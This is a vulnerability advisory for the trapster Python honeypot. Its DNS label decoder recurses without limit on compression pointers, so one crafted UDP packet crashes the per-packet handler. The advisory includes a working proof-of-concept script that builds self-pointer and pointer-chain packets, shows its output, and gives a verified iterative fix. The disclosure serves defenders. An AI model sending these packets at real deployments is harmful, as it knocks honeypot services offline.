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OSV ecosystem advisory

GHSA-mxwc-wh95-pw4g: Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

MediumCVSS 5.3 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 21/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: trapster (PyPI) 1.2.2.

Low priority for now. Upgrade to trapster (PyPI) 1.2.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary `trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module). ## Severity Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener. ## Affected component - File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`). - Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port. - Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`. ## Details `decode_labels` implements RFC 1035 §4.1.4 name compression: ```python def decode_labels(message, offset): labels = [] while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) offset += 2 return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer ... ``` Each compression pointer triggers a fresh recursive call to `decode_labels`. There is: - **No cycle detection** — a pointer that targets its own offset recurses forever. - **No depth bound** — a chain of distinct forward pointers recurses once per pointer. Either shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet. This is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had. ## Proof of Concept Real-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`. `e2e_poc.py`: ```python import asyncio, struct, socket, sys from trapster.modules.dns import DnsHoneypot from trapster.logger.base import BaseLogger HOST, PORT = "127.0.0.1", 15353 captured_loop_exceptions = [] def build_benign_query(qname=b"example.com"): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00" return header + labels + struct.pack("!2H", 1, 1) def build_self_pointer(): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name return header + name + struct.pack("!2H", 1, 1) def build_pointer_chain(depth=2000): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 18) qtail = struct.pack("!2H", 1, 1) chain = bytearray() for i in range(depth): chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1))) chain += b"\x00" return header + name + qtail + bytes(chain) def send_udp(payload, timeout=1.0): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout) s.sendto(payload, (HOST, PORT)) try: return s.recvfrom(4096)[0] except socket.timeout: return None finally: s.close() async def main(): loop = asyncio.get_running_loop() def handler(loopobj, context): exc = context.get("exception") captured_loop_exceptions.append((repr(exc), context.get("message"))) print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}") loop.set_exception_handler(handler) hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"}, logger=BaseLogger(node_id="e2e"), bindaddr=HOST) await hp.start(); await asyncio.sleep(0.4) print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n") print("=== NEGATIVE CONTROL: benign query example.com A ===") captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3) print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}") assert len(captured_loop_exceptions) == 0 print(" -> benign packet parsed cleanly, no exception\n") print("=== VECTOR A: single self-referential compression pointer (cycle) ===") captured_loop_exceptions.clear(); pkt = build_self_pointer() print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n") print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===") captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000) print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n") await hp.stop(); print("ALL ASSERTIONS PASSED") if __name__ == "__main__": sys.setrecursionlimit(1000) asyncio.run(main()) ``` Verbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`: ``` [deploy] DnsHoneypot listening on udp://127.0.0.1:15353 === NEGATIVE CONTROL: benign query example.com A === loop exceptions after benign packet: 0 -> benign packet parsed cleanly, no exception === VECTOR A: single self-referential compression pointer (cycle) === packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself) [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no cycle guard) === VECTOR B: 2000 chained forward compression pointers (zeroconf shape) === packet (4019 bytes) = 2000-deep forward pointer chain [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no depth bound) ALL ASSERTIONS PASSED ``` The negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input. ## Impact Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution. ## Suggested fix Make `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`'s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise "unknown label encoding"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler. Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion): ```python def decode_labels(message, offset): labels = [] return_offset = None max_allowed_pointer = len(message) while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) if return_offset is None: return_offset = offset + 2 target = pointer & 0x3FFF if target >= max_allowed_pointer: raise ValueError("invalid DNS compression pointer") max_allowed_pointer = target offset = target continue if (length & 0xC0) != 0x00: raise ValueError("unknown label encoding") offset += 1 if length == 0: return labels, return_offset if return_offset is not None else offset labels.append(*struct.unpack_from("!%ds" % length, message, offset)) try: labels[-1] = labels[-1].decode() except UnicodeDecodeError: labels[-1] = str(labels[-1]) offset += length ``` A fix PR will be supplied from a temporary private fork during the embargo. ## Credit Discovered and reported by tonghuaroot.

Published
Jul 8, 2026
Updated
Nov 6, 2026
EPSS
—

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Action score

21

Monitor

Low priority for now.

CVSS
21 / 40 · 5.3 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Affected systems

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VendorProduct
PyPItrapster

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
PyPItrapsterbefore 1.2.21.2.2

Remediation

Which version to upgrade to

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Product / packageFixed versionSource
PyPI:trapster1.2.2Package registry (OSV)

Exploit status

No known public exploit

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Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

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Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
none
Availability
low · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
None
Availability impact
Low

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

osv

Attack context

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References

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